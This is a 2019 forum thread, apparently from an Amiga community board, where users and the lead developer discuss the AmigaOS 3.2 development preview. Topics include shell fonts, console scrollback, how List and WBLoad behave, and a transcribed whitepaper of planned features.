Could you please name the character that you are talking about enclosing in double quotes? For some reason it's showing as a block - an unknown character - on my browser.
No, it does not. It is really an opening and closing square bracket.

Dang, I had to zoom that all the way in to see that little gap between the brackets. My old eyes seriously saw it as a square :)

The other day, we were discussing how the default OS installation should be, and I was mentioning the fact that our userbase is not getting any younger and that we should probably need to use bigger fonts.   :)

Title: Re: Os 3.2 development preview
Post by: zurt on September 29, 2019, 08:30:56 PM
Well, no scrollbars on the Shell, but at least it's not topaz/8 anymore. ;D

AFAIR since 3.0 or 3.1 you can use the SetFont command to change the font used to render texts on a certain shell window.

https://wiki.amigaos.net/wiki/AmigaOS_Manual:_AmigaDOS_Command_Reference#SETFONT (https://wiki.amigaos.net/wiki/AmigaOS_Manual:_AmigaDOS_Command_Reference#SETFONT)
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on September 29, 2019, 10:04:09 PM
AFAIR since 3.0 or 3.1 you can use the SetFont command to change the font used to render texts on a certain shell window.
It is not so much an issue with the console. The console has been pretty flexible since ever. It is more about the system tools and system preferences. They used to be "topaz.8" only on 3.1 and 3.1.4, but will become font sensitve in 3.2.
Title: Re: Os 3.2 development preview
Post by: kolla on September 29, 2019, 10:09:49 PM
You can set the font in the font prefs, or in the settings of ViNCEd if you use that, so nothing new there. And the scrollbar that is missing is not missing from shell, but from the console, that’s why we tend to replace the console with for example KingCon, or ViNCEd. Why it has been so hard to implement scroll back buffer in the standard console, I don’t know.
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on September 29, 2019, 10:23:31 PM
Why it has been so hard to implement scroll back buffer in the standard console, I don’t know.
Because the console.device lacks an appropriate interface to reposition its scrollback buffer, and an apropritate interface to get its size, configure its size and report the current position within it. The console.device requires a makeover, but I'm only ready to slay one dragon at a time. 3.1.4 was graphics, 3.2 is dos. The console comes later.
Title: Re: Os 3.2 development preview
Post by: kolla on September 30, 2019, 05:57:39 AM
Why it has been so hard to implement scroll back buffer in the standard console, I don’t know.
Because the console.device lacks an appropriate interface to reposition its scrollback buffer, and an apropritate interface to get its size, configure its size and report the current position within it. The console.device requires a makeover, but I'm only ready to slay one dragon at a time. 3.1.4 was graphics, 3.2 is dos. The console comes later.
Well, I was thinking "in the bigger picture", as lacking scroll-back buffer was something people complained about, and worked around, even before release 2.0 of AmigaOS (as old Fish disks illustrate). Along with tab-completion, this has probably been the highest ranking "missing feature" for CLI users.

Anyways, since you are into dos, shell etc,  and since there is no way for mere mortals to have ideas about what bugs are known or not - have you fixed bugs in Execute (or shell - who am I to know how this stuff works) since "3.1.4.1"? Or is it on purpose that Execute 46.4 behaves differently when it is used as resident than when it is called as C:Execute?
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on September 30, 2019, 10:54:49 AM
Well, I was thinking "in the bigger picture", as lacking scroll-back buffer was something people complained about, and worked around, even before release 2.0 of AmigaOS (as old Fish disks illustrate). Along with tab-completion, this has probably been the highest ranking "missing feature" for CLI users.
That is all understood, but there are currently no resources for drilling up console. However, console and the con-handler are both disk-upgradable, such that later releases can fill the gap without requiring a new ROM.

Anyways, since you are into dos, shell etc,  and since there is no way for mere mortals to have ideas about what bugs are known or not - have you fixed bugs in Execute (or shell - who am I to know how this stuff works) since "3.1.4.1"? Or is it on purpose that Execute 46.4 behaves differently when it is used as resident than when it is called as C:Execute?
First, I am currently not aware of bugs in Execute, and there is certainly a way to learn about the development progress by joining the beta-tester group, which requires signing an NDA.
Title: Re: Os 3.2 development preview
Post by: kolla on September 30, 2019, 01:06:28 PM
First, I am currently not aware of bugs in Execute

Well, you are now, I gave you a hint.
I'm not signing any NDA, especially not when it comes to Amiga, and certainly not with Hyperion - there are limits for stupidity.
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on September 30, 2019, 01:25:11 PM
Well, you are now, I gave you a hint.
That is addressed.
Title: Re: Os 3.2 development preview
Post by: kolla on October 03, 2019, 01:14:22 PM
It was a bug in "list" indeed.

Maybe you can explain another oddity with C:List - this time not a new one - and then decide whether this is desirable behaviour or not.

Open two shells, and in one do...
Code: [Select]
copy * to ram:test
and in the other simply do...
Code: [Select]
list ram:tes?
which works just fine, yet...
Code: [Select]
list ram:test
gives error message about file being busy, as if List tries "open" it, rather than just list it.

Why, oh why - does it perhaps try to "open" it as a drawer first?
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on October 03, 2019, 02:30:26 PM
Why, oh why - does it perhaps try to "open" it as a drawer first?
No, it just tries to Lock() the argument. As it is opened for output, it cannot, and fails. Surprisingly, the "design" of Tripos allows yet to lock its parent, and ExNext() through its children, thus accessing a busy and exclusively locked file through ExNext(), but not through Examine() as the latter requires a lock on the object first.

This is one of the problems why ExNext() aka ACTION_EXNEXT is almost impossible to implement correctly. You can have a tool walking a directory (as in "list"), and the file system has to be able to support the case where the examined file is "deleted under the feed" of the process examining it. Consider a "list RAM:" which just points at "ram:test" while listing, and a second shell that just does a "delete ram:test".

This situation requires specific care, and caused numerous bugs, specifically in the Ram-Handler which was notoriously buggy in such situations, with similar bugs in the Env-Handler all along. This is one of the primary reasons why I didn't want to handle the env-handler code anymore.
Title: Re: Os 3.2 development preview
Post by: kolla on October 03, 2019, 02:35:05 PM
Why, oh why - does it perhaps try to "open" it as a drawer first?
No, it just tries to Lock() the argument.
But... why? Or perhaps I should ask... why does it not lock matching files when a wildcard exists in the argument? Does a "list" without argument, or with wildcard argument instead lock the "parent"?
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on October 03, 2019, 07:59:28 PM
But... why? Or perhaps I should ask... why does it not lock matching files when a wildcard exists in the argument? Does a "list" without argument, or with wildcard argument instead lock the "parent"?
It's the way how the arp pattern matcher or MatchFirst() work: It works its way forward through the path given as argument, locking each (partial) file name until a component is found that contains a wildcard. RAM:test does not include a wild card, and thus, first RAM: is locked, then RAM:foo is locked (or not, if it is not readable).
Title: Re: Os 3.2 development preview
Post by: kolla on October 03, 2019, 09:35:24 PM
 Well, from a user’s point of view, it’s rather weird that List cannot display information about a specified file, yet do display this information if the very same file matches a specified pattern.

For example, while downloading a file...

this fails:
Code: [Select]
List mydownload.lha
while this works, and you can follow progress in file size:
Code: [Select]
List mydown?oad.lha
Title: Re: Os 3.2 development preview
Post by: paul1981 on October 09, 2019, 09:14:29 PM
Or maybe an all-in-one Prefs-Launcher similar to the Mac OSX one, or MorphOS, same kind.
Or OS 1.x

Quote
I remember a 'Registry'-style preferences tool back in the days, dunno, if this was ever considered to be adapted. 'Registry' meaning all prefs' IFF chunks in one big prefs file together.
Also on OS 1.x, DEVS:system-configuration (if I remember correctly).

Note that one can still run old OS 1.x "Preferences" under OS 3.x and DEVS:system-configuration is still read on boot, even when booting without startup-sequence - I use it to set a different "deault" palette than the white/black/grey/blue of OS2 and 3.

Yes, it would be handy if the 1.3 prefs editor was included, being as though the system-configuration file has always been supported even up to 3.x. It could be thrown in the Prefs drawer or Tools drawer with no icon, to make it kind of a hidden tool.

Failing that, there is always Jonathan Potter's 'Preferable Preferences' aka PPrefs on fish disk 242, which is a direct replacement:

http://aminet.net/package/misc/fish/fish-0242 (http://aminet.net/package/misc/fish/fish-0242)

Looking at 3.1 here...
When the system-configuration is unavailable, the actual defaults are topaz 9 for System Default Font and Screen Font, and topaz 8 for icons. I thought I'd mention this because for example, if no Prefs for fonts are saved via Font Prefs (ie no envarc font.prefs file at boot), then when you actually load Font Prefs it makes out that topaz 8 is currently selected for all three fonts which is false. It would be true if I were to click 'use' or 'save' but that's besides the point.
As we probably all know here, system-configuration (with editor!) allows you to setup your basic prefs, even when you select 'Boot with no Startup-Sequence' in the Bootmenu via the system-configuration file, it's odd how Commodore included the file, but no editor. Is the file still there for 3.1.4?
My only thought as to why it remains is that some old application software from 1.x days actually make use of the file to setup printer/serial/text/display. In which case I suppose it shall have to remain.  :)
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on October 10, 2019, 06:43:30 PM
Looking at 3.1 here...
When the system-configuration is unavailable, the actual defaults are topaz 9 for System Default Font and Screen Font, and topaz 8 for icons. I thought I'd mention this because for example, if no Prefs for fonts are saved via Font Prefs (ie no envarc font.prefs file at boot), then when you actually load Font Prefs it makes out that topaz 8 is currently selected for all three fonts which is false.
Indeed, and I fixed this. However, note that all 3.1 preference editors "do not see" the old intuition preferences system, at all. Thus, if you have a specific setting in S:System-Configuration, and the system loads it (it does), and then open any new preferences editor, the (non-standard) settings are ignored at all. This goes for all preferences editors, since 2.0 up.

As we probably all know here, system-configuration (with editor!) allows you to setup your basic prefs, even when you select 'Boot with no Startup-Sequence' in the Bootmenu via the system-configuration file, it's odd how Commodore included the file, but no editor. Is the file still there for 3.1.4?
Yes, of course, and there is no editor for it either, and this will not change in 3.2. Note that there is sufficient old, ancient software that boots from floppy, and provides an S:System-Configuration. However, usage of this file is deprecated, and it should no longer be used, and there is no preferences editor for it, on purpose.
Title: Re: Os 3.2 development preview
Post by: kolla on October 11, 2019, 06:06:32 AM
S: or DEVS:, or both?
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on October 11, 2019, 09:07:08 AM
I'm sorry, DEVS: of course.
Title: Re: Os 3.2 development preview
Post by: treqie on October 16, 2019, 10:11:05 PM
Maybe it's been said, but a couple (nitpicking) things I'd like in amigaos is improvements to an ordinary file/drawer window. If I open up a partition and then open a drawer.. to have an option to use that same window instead of opening a new window - like dopus magellan does, I think? Or to have the scrollbars visible only when there's files outside the visible window area. Just takes up unnecessary space. :p
Title: Re: Os 3.2 development preview
Post by: kolla on October 17, 2019, 09:01:43 AM
If I open up a partition and then open a drawer.. to have an option to use that same window instead of opening a new window - like dopus magellan does, I think?
DOpus Magellan supports both spatial and browser modes, Workbench is only spatial, but you can configure a qualifier key to hold which makes parent window close as you open a drawer.

Quote
Or to have the scrollbars visible only when there's files outside the visible window area. Just takes up unnecessary space. :p

This is a bug, that hopefully should be well known, as it is so darn obvious.

Sort of related - old WBRun can open drawers, the new WBLoad can not. For example from, Workbench menu, Execute Command... "wbrun envarc:sys" will tell Workbench to open the drawer envarc:sys, while "wbload envarc:sys" will just print error message about not finding the file.
Title: Re: Os 3.2 development preview
Post by: treqie on October 17, 2019, 09:53:10 AM
Quote
DOpus Magellan supports both spatial and browser modes, Workbench is only spatial, but you can configure a qualifier key to hold which makes parent window close as you open a drawer.

Ah, that's something at least. But it would be nice if it was like a.. more native work-within-one-window? Maybe it's a hassle to change stuff like that.  A button the window to enable it! Or an option in the window-menu, "Use browser mode". Oh well. :p
I guess what I mean is, there's a lot of "smaller things" that can be improved for user experience in handling files in workbench, visually and in functionality.. I mean if you are gonna handle larger amounts of files, you use dopus, filemaster or something instead. At least I do.

Title: Re: Os 3.2 development preview
Post by: Gulliver on October 17, 2019, 10:15:39 AM
I believe Workbench needs a lot of improvement from its usability point of view. And you only coved the tip of the iceberg. It lacks so many things...

Besides browser mode, we need Status bars, Control bars, Icon tool bars, Shortcuts, Quick access to recent/most used objects, integrated search, a Navigation/Address bar, a Quit menu entry that actually works, an easier built-in method to customize all menus, MagicMenu functionality, a tree view, and I could go on forever, unfortunately.

The problem is that Workbench is so much behind that it will require a lot of manpower to get to a reasonable state where we can see it as a friendly partner within AmigaOS.

So dont't expect those changes will come out in the short term. Hopefully some small incremental changes may start to appear.
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on October 17, 2019, 11:04:38 AM
Quote
This is a bug, that hopefully should be well known, as it is so darn obvious.
I don't think so. First, it has never been any different, and it allows you to continue scrolling even if everything is *currently* visible. For example, to find room for a new icon, even if the window covers the entire screen. I do not see a reason to change this.

Quote
Sort of related - old WBRun can open drawers, the new WBLoad can not. For example from, Workbench menu, Execute Command... "wbrun envarc:sys" will tell Workbench to open the drawer envarc:sys, while "wbload envarc:sys" will just print error message about not finding the file.
The two programs (WBRun/WBLoad) operate completely different, and have completely different intentions. WBLoad is supposed to be used from the startup-sequence, and as such triggers the "workbench startup" code of programs. Thus, programs can pick up their tool types, even if they are run from CLI, and even if they are run upfront the workbench. WBLoad does not require the workbench.library up and running - which is a crucial point of the design. Without the workbench loaded, it cannot open drawers, of course.

WBRun requires *loading* the workbench first, which is undesirable from the startup-sequence. Frankly, WBRun can be easily substituted by a small Rexx script, communicating to the workbench (as it runs), so it its value is a bit limited. A script in S: could substitute it without loss.

So, use cases are different, and for that reason the programs are different.
Title: Re: Os 3.2 development preview
Post by: kolla on October 17, 2019, 11:19:15 AM
Quote
This is a bug, that hopefully should be well known, as it is so darn obvious.
I don't think so. First, it has never been any different, and it allows you to continue scrolling even if everything is *currently* visible. For example, to find room for a new icon, even if the window covers the entire screen. I do not see a reason to change this.

Hm - maybe we talk about different things -  For example - drop some icons into RAM:, so many that window is not big enough to show them all, and hence shows scroll bars. Then pick from window menu "select content" and "delete" - after workbench has deleted all icons, the scroll bars still show as if icons outside of visible area are present, and window is still scrollable for no good reason - this did not happen before OS 3.1.4 as far as I can recall. Resizing the window removes the scrollbars and leaves the window "clean" again.

Quote
So, use cases are different, and for that reason the programs are different.

Yes, I am aware of this, and this is also the problem, especially when WBLoad is touted as "the new WBRun" and old WBRun is not there  - it is non-obvious and counter-intuitive - WBLoad could check if Workbench is open, and act like WBRun when this is the case.
Title: Re: Os 3.2 development preview
Post by: kolla on October 17, 2019, 11:27:31 AM
Besides browser mode, we need Status bars, Control bars, Icon tool bars, Shortcuts, Quick access to recent/most used objects, integrated search, a Navigation/Address bar, a Quit menu entry that actually works, an easier built-in method to customize all menus, MagicMenu functionality, a tree view, and I could go on forever, unfortunately.

Directory Opus Magellan is there to be improved, sources are available - the OS 3.2 team members and Hyperion are welcome to participate and contribute, and it can even be included in the OS release.
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on October 17, 2019, 11:38:50 AM
Hm - maybe we talk about different things -  For example - drop some icons into RAM:, so many that window is not big enough to show them all, and hence shows scroll bars. Then pick from window menu "select content" and "delete" - after workbench has deleted all icons, the scroll bars still show as if icons outside of visible area are present, and window is still scrollable for no good reason - this did not happen before OS 3.1.4 as far as I can recall. Resizing the window removes the scrollbars and leaves the window "clean" again.
As said, I believe this is intentional. Remove an icon, then scroll to allow adding another.

Yes, I am aware of this, and this is also the problem, especially when WBLoad is touted as "the new WBRun" and old WBRun is not there  - it is non-obvious and counter-intuitive - WBLoad could check if Workbench is open, and act like WBRun when this is the case.
I don't think it is "the new WBRun". It was never supposed to be. It is a "start this program from workbench in the startup-sequence". Actually, WBLoad is a pretty ancient design (from 1.3 days even) and there had and has its use. What WBRun is good for I do not know. As said, rexx exists, the rexx interface exists.
Title: Re: Os 3.2 development preview
Post by: kolla on October 17, 2019, 11:59:11 AM
Hm - maybe we talk about different things -  For example - drop some icons into RAM:, so many that window is not big enough to show them all, and hence shows scroll bars. Then pick from window menu "select content" and "delete" - after workbench has deleted all icons, the scroll bars still show as if icons outside of visible area are present, and window is still scrollable for no good reason - this did not happen before OS 3.1.4 as far as I can recall. Resizing the window removes the scrollbars and leaves the window "clean" again.
As said, I believe this is intentional. Remove an icon, then scroll to allow adding another.

And when I have no intention of adding any icon, and just want the window to be clean? I don't want to resize it, updating it or redrawing it does not change anything... only option is to close it and reopen. It looks like a bug, it behaves like a bug, and if it is indeed intentional, it is counter-intuitive and confusing.
Quote
Yes, I am aware of this, and this is also the problem, especially when WBLoad is touted as "the new WBRun" and old WBRun is not there  - it is non-obvious and counter-intuitive - WBLoad could check if Workbench is open, and act like WBRun when this is the case.
I don't think it is "the new WBRun". It was never supposed to be. It is a "start this program from workbench in the startup-sequence". Actually, WBLoad is a pretty ancient design (from 1.3 days even) and there had and has its use. What WBRun is good for I do not know. As said, rexx exists, the rexx interface exists.

Do you think everyone has RexxMast running?
Do you think everyone knows how to write the rexx macro needed?
Why oh why can't WBLoad just do what one can expect from it?
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on October 17, 2019, 12:18:55 PM
And when I have no intention of adding any icon, and just want the window to be clean? I don't want to resize it, updating it or redrawing it does not change anything... only option is to close it and reopen. It looks like a bug, it behaves like a bug, and if it is indeed intentional, it is counter-intuitive and confusing.
Again, I don't agree. I believe "do not change the layout if not necessary" is a better option than "do change it, even if the user may or may not need the elements, but we do not know". This is called "the principle of least surprise" - don't mess with the GUI unless triggered externally. Window resizing etc. is requesting a change anyhow, so it does make sense there to perform a re-layout.

Do you think everyone has RexxMast running?
Yes, at least everyone who is advanced enough to have a need for WBRun. I'm still not clear what it is good for.

Do you think everyone knows how to write the rexx macro needed?
Let's be serious: Who needs WBRun to open drawers - despite a hand full of expert users? Those are able to write rexx in first place. I'm simply not aware of a good use for this functionality - except for remote-controlling the workbench, but remote-control is the domain of rexx, and not of shell tools.

Why oh why can't WBLoad just do what one can expect from it?
It does exactly what it is expected from it, that is the point. It "loads" a program as if "from workbench", hence the name.Opening the workbench.library is simply not a good idea early in the startup-sequence, and it is beyond the use case of the tool.
But hey, if you want to use WBRun, just use it. Why argue? I do not have intentions to add remote-control functionality into a tool with a very limited, but well-defined intention, but Aminet is full of tools you may consider for more specialized use cases, nobody is taking this away from you.
Title: Re: Os 3.2 development preview
Post by: kolla on October 17, 2019, 01:05:22 PM
Again, I don't agree. I believe "do not change the layout if not necessary" is a better option than "do change it, even if the user may or may not need the elements, but we do not know". This is called "the principle of least surprise" - don't mess with the GUI unless triggered externally. Window resizing etc. is requesting a change anyhow, so it does make sense there to perform a re-layout.

OK, whatever - I just found out that what I wrote about refresh/update not working is wrong too, it does refresh window borders.

But I disagree on the principle here - when a window has borders that are scrolled, it indicates that there is something to scroll to, that there is something outside of the view that is now shown.

This is an empty window... or is it... what does your gut say?
(http://kolla.no/empty.png)

Quote
Do you think everyone has RexxMast running?
Yes, at least everyone who is advanced enough to have a need for WBRun. I'm still not clear what it is good for.

Easily perform a "double click on the icon" from command line, be it a program, a drawer, a project, a tools - whatever.

Quote
Let's be serious: Who needs WBRun to open drawers - despite a hand full of expert users?
Why did you not use this argument when you included shell v46 in the kickstart?
Who needs all the new functionality except a few expert users?

WBRun is part of OS3.9, and who knows... maybe 4.1.
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on October 17, 2019, 04:30:35 PM
But I disagree on the principle here - when a window has borders that are scrolled, it indicates that there is something to scroll to, that there is something outside of the view that is now shown.

This is an empty window... or is it... what does your gut say?
My gut doesn't know. If you open your cupboard and remove your socks, my gut says that the drawer does not move then by itself. Anyhow, this discussion is mood. I believe it's right the way it is, and I don't see a point in changing something that isn't broken.

Easily perform a "double click on the icon" from command line, be it a program, a drawer, a project, a tools - whatever.
That is not a use case. This is just "I want to do A because I want to do A". It is a tautology.

Why did you not use this argument when you included shell v46 in the kickstart?
Because I have use cases for it. Pipes are very useful. Use case: "page a directory output" "sort the directory output" "search a program-generated file for a string". All things that are handy, and you couldn't do easily before. Just to give examples for "use cases for pipes".

Who needs all the new functionality except a few expert users?
That is not what I stated. I stated "an expert user can easily substitute WBRun by Arexx if needed" and "remote control functionality is the domain of Arexx, so it is quite natural to do so". I personally do not see a use case for it beyond that, i.e. "remote control facilities that are naturally addressed by ARexx".


WBRun is part of OS3.9, and who knows... maybe 4.1.
Yes, and your point is?
Title: Re: Os 3.2 development preview
Post by: kolla on October 17, 2019, 05:27:32 PM
Anyhow, this discussion is mood.

You keep writing this... the word you want to use is "moot".

As for the rest, I roll my eyes... starting to look forward to next time OS 3.1 forks a new fresh, this "branch" is introducing too many obscure limitations and weird behaviour.
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on October 17, 2019, 06:48:30 PM
As for the rest, I roll my eyes... starting to look forward to next time OS 3.1 forks a new fresh, this "branch" is introducing too many obscure limitations and weird behaviour.

I suggest you write a small WBRun and publish it if you need it so much. It is only an API call of the workbench.library.
Title: Re: Os 3.2 development preview
Post by: kolla on October 17, 2019, 07:09:32 PM
A wrapper that checks if Workbench’ arexx port is up, it uses that, if not, it uses WBLoad.
It’s what WBLoad should do already, but whatever.

I’m not publishing jack, any dumbass “expert” can do this themselves, the masses can follow your pipe.
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on October 17, 2019, 07:30:35 PM
A wrapper that checks if Workbench’ arexx port is up, it uses that, if not, it uses WBLoad.
I was more considering a C program that calls into the workbench.library if this is what you need. The rexx interface of the workbench can also launch programs, btw, so rexx is certainly another alternative and probably faster to do (essentially, a one-liner). There would be no need to fall back to WBLoad in either case. It's addressing a different use case than WBLoad, but that's certainly fine with me.

It’s what WBLoad should do already, but whatever.
Well, as long as I'm implementing, it's probably up to me to identify use cases for things I implement.... but I really don't get you: This is a free world, and you are free to write a tiny program yourself and publish it if you consider it useful. I really don't see your problem. I, personally, do not consider it useful, but that shouldn't stop you.

I’m not publishing jack, any dumbass “expert” can do this themselves, the masses can follow your pipe.
So, why don't you? Let other people make the work, and then complain about the results? Yes, I know that's easier, but it's not very helpful. Try to be a bit positive and contribute. I'm serious.
Title: Re: Os 3.2 development preview
Post by: Pyromania on October 18, 2019, 09:29:58 AM
When does AmigaOS 3.2 come out please?
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on October 18, 2019, 09:54:47 AM
When does AmigaOS 3.2 come out please?

Nobody knows yet. There are still so many things to do, so the only thing I can say is "certainly not this year".
Title: Re: Os 3.2 development preview
Post by: treqie on October 18, 2019, 10:22:21 AM
Again, I don't agree. I believe "do not change the layout if not necessary" is a better option than "do change it, even if the user may or may not need the elements, but we do not know". This is called "the principle of least surprise" - don't mess with the GUI unless triggered externally. Window resizing etc. is requesting a change anyhow, so it does make sense there to perform a re-layout.

I guess what I meant was, you always look for ways to optimize your setup.. like having less things that takes up the screen, however small they may be. Or saving a nanosecond of things the system has to draw for the UI, bytes of ram to here and there, if it even does :p Nevermind, probably a ton of things more important. :p
Title: Re: Os 3.2 development preview
Post by: soviet on October 18, 2019, 06:46:30 PM
looks cool from the screenshot where i can download it ?
 :)
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on October 18, 2019, 06:57:17 PM
looks cool from the screenshot where i can download it ?
 :)
As beta tester, from the Hyperion FTP of course. For all others...please stand by. We're busy.
Title: Re: Os 3.2 development preview
Post by: Pgovotsos on October 19, 2019, 02:58:30 AM
I believe Workbench needs a lot of improvement from its usability point of view. And you only coved the tip of the iceberg. It lacks so many things...

Besides browser mode, we need Status bars, Control bars, Icon tool bars, Shortcuts, Quick access to recent/most used objects, integrated search, a Navigation/Address bar, a Quit menu entry that actually works, an easier built-in method to customize all menus, MagicMenu functionality, a tree view, and I could go on forever, unfortunately.

The problem is that Workbench is so much behind that it will require a lot of manpower to get to a reasonable state where we can see it as a friendly partner within AmigaOS.

So dont't expect those changes will come out in the short term. Hopefully some small incremental changes may start to appear.

I go back and forth on this in my head. I'm just not sure that all of that NEEDS to be part of the OS. I use, and like, Amiga OS because of its simplicity. So much of it is just so obvious to use. I agree that some times those things can be very nice, but the beautiful thing for me is that it is easy to add them if I really want them with other utilities. Sure, it might perhaps be nice if they were built in, but I enjoy being the one in control of the choice.

Amiga OS is nice, lean, and fast. No it doesn't have every possible feature built in, but if I wanted an OS with everything and the kitchen sink built in, I'd use Windows. Is there really anyone who thinks that that bloated piece of "stuff" is nice, lean, or fast :) It only takes gigahertz processors, gigabytes of RAM and gigabytes of hard drives to match the performance that I had 20 years ago with an 040, 18 megabytes of RAM and a Video Toaster.

Amiga OS certainly isn't perfect, perhaps far from it, but for what I use it for, it ain't half bad :)
Title: Re: Os 3.2 development preview
Post by: Pyromania on October 19, 2019, 09:46:21 AM
@Pgovotsos

Well said.
Title: Re: Os 3.2 development preview
Post by: Gulliver on October 19, 2019, 02:45:41 PM
@Pgovotsos

The functionality does not need to get in the way of users, but be available as an extra when required. Following the AmigaOS principle of "power beneath the hood".   

AmigaDOS and ARexx mostly work the same way, you can use the bare minimum, and maybe not even touch them, but if you require to do more advanced stuff, they are already there, sitting in the dark, not getting in the way. 

Have you used ScalOS as a workbench replacement? DOpus Magellan? They can behave and look excactly the same as good old workbench, but are highly configurable to deliver much more advanced functions for power users that require those. They have many flaws in their implementation, but the general concept behind them is good.

Anyway, as said before, this is not something that is going to be happening anytime soon, as there are a lot of other things which have higher priority, and even then, when the time comes, such things will need to be properly discussed and evaluated.
Title: Re: Os 3.2 development preview
Post by: TribbleSmasher on October 19, 2019, 03:47:49 PM
Can you or Thomas could give us some insight what actually is planned in this release?
Title: Re: Os 3.2 development preview
Post by: Gulliver on October 19, 2019, 04:10:04 PM
Can you or Thomas could give us some insight what actually is planned in this release?

As for the planned things, I reserve that right Thomas, since he is the lead developer.

As for things currently implemented (of course, still being worked on), I can safely transcribe the whitepaper I am writing, since Hyperion already displayed it:

AmigaOS 3.2
---------------

Based on the stability, bug fixes and progress cemented with
AmigaOS 3.1.4 (and its update 3.1.4.1), we decided to put our efforts
towards the same successful path, but this time focusing on
implementing new features, in this new AmigaOS 3.2 release.

In part, based on the user feedback and the support received, besides
the usual continued delivery of bug fixes that improve overall
stability, we added the following new features to AmigaOS 3.2:

1. The Shell

Shell now has the ability to have a partial name of a program or path
autocompleted using the TAB key.

We have a new shell built-in command called "history" that lists the
contents of the Shell history buffer with the help of the cursor keys.

We also added the && operator that first executes the first command,
and if this fails, it aborts. If not, it executes the second command.

Error handling has been improved. We have a functional stderr. So we
can specifically redirect error streams when using the shell.

There is now also a way to debug commands being executed from the
shell by using the serial port.

The bootmenu got two new checkmark options that reflect on the
behaviour of the shell, and make its advanced options much more simple
to use.

2. The User Interface

The ReAction GUI toolkit does a successful comeback, but now with
extended functionality and an array of bug fixes never seen before.

Due to popular demand, the new intuition.library that allows you to
move windows out of the screen is now built-in by default, that said,
we added an optional fall-back method for those who still use the
unmaintained CyberGraphX RTG system.

Intuition has the ability to allow windows to be iconified and hidden
and this has been implemented in Workbench programs. An iconification
gadget will be visible to the left of the zoom gadget for this purpose.

You can find scalable gadtools GUIs in most of the Workbench programs.
This means that they have become font sensitive, and properly adjust
to different font sizes. So you are no longer forced to use the default
topaz font on them anymore.

3. Preferences

IControl now toggles on/off the out of the screen window dragging
abilities of the newly built-in intuition.library.

Printer prefs allows the user to enter a custom output device for
the printer and select a unit number.

WBPattern has been updated to provide layout options to scale, tile,
interpolate, and center backgrounds if a picture is selected for it.

Workbench prefs enables you to customise the text present in the
title bar on the Workbench screen.

4. Tools, Utilities and System applications

Mounter is an interactive partition mount tool that operates on
devices that support the RDB (Rigid Disk Block) data structures.

DefIcons is a program that attempts to identify different file types
and depending on its own configuration, it will apply a default icon
with an associated action to each of them.

5. Miscellaneous

The RAM-Disk now supports "external hardlinks" and its purpose is
to integrate env-handling features into RAM, and avoid unnecessary
copying of files. This saves memory and makes the system boot
marginally faster.

We now have a new rom module called "system-startup". Its job is
to make rom updates easier and alleviate LoadModule from some of its
work by loading system components from disk, replacing many ROM ones.

We also cleanly re-implemented the AssignWedge patch that extends the
standard AmigaDOS volume request ("Please insert volume ...") with
additional features that allow the user to create an Assign or
permanently deny the requested volume until next reboot.

The datatype system has been improved: there is a new BMP datatype
that manages Windows/OS2 bitmap images, and an improved text datatype
with search functionality built-in. 

Input.device can now properly manage multiple input events
appropriately, and this essentially means better support for USB
solutions that are aware of this.

You will also find several fixes, optimizations and updates that cover
nearly all AmigaOS components, and a few other minor features that are
properly addressed in our FAQ.
Title: Re: Os 3.2 development preview
Post by: Pgovotsos on October 19, 2019, 05:06:10 PM
Will the new Datatype system still be compatible with older datatypes like Warp and AK or will it require the developers to update them?
Title: Re: Os 3.2 development preview
Post by: Pgovotsos on October 19, 2019, 05:11:10 PM
@Pgovotsos

The functionality does not need to get in the way of users, but be available as an extra when required. Following the AmigaOS principle of "power beneath the hood".   

AmigaDOS and ARexx mostly work the same way, you can use the bare minimum, and maybe not even touch them, but if you require to do more advanced stuff, they are already there, sitting in the dark, not getting in the way. 

Have you used ScalOS as a workbench replacement? DOpus Magellan? They can behave and look excactly the same as good old workbench, but are highly configurable to deliver much more advanced functions for power users that require those. They have many flaws in their implementation, but the general concept behind them is good.

Anyway, as said before, this is not something that is going to be happening anytime soon, as there are a lot of other things which have higher priority, and even then, when the time comes, such things will need to be properly discussed and evaluated.

That's actually sort of what I said. IF I want that stuff, I will run DOpus or whatever tool gives me the functionality I want to add.

Many of the changes you are talking about I assume will go into intuition.library making it even bigger. Right now in 3.1.4 the ROM has enough room to add the current intuition.library to it. If it gets much larger that might not be possible any more.
Title: Re: Os 3.2 development preview
Post by: Pgovotsos on October 19, 2019, 05:13:54 PM
Is it expected that 3.2 will be released as a complete floppy and Kickstart chip or just another update archive like 3.1.4.1? FWIW I would prefer a complete install kit rather than an update archive.
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on October 19, 2019, 05:16:44 PM
Will the new Datatype system still be compatible with older datatypes like Warp and AK or will it require the developers to update them?
The datatypes system did not change in 3.1.4, and there are no interface changes planned for 3.2.
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on October 19, 2019, 05:20:01 PM
Is it expected that 3.2 will be released as a complete floppy and Kickstart chip or just another update archive like 3.1.4.1? FWIW I would prefer a complete install kit rather than an update archive.
There will be likely two options, as for 3.1.4: Software only, via LoadModule, or Software plus ROM. Its unlikely that we will have physical floppies as we had in 3.1.4 as they are extremely hard to get, so it's likely going to be floppy images on some physical carrier.
Title: Re: Os 3.2 development preview
Post by: TribbleSmasher on October 19, 2019, 05:29:42 PM
As been told at  A34 last weekend, you are presumably running out of version numbers. Will that be the end of development or do you have a solution for this case, if correct?
Title: Re: Os 3.2 development preview
Post by: Thomas Richter on October 19, 2019, 05:59:15 PM
As been told at  A34 last weekend, you are presumably running out of version numbers. Will that be the end of development or do you have a solution for this case, if correct?
The version number is an 8 bit number. I believe this still gives us some headroom for future releases.
Title: Re: Os 3.2 development preview
Post by: TribbleSmasher on October 19, 2019, 06:00:25 PM
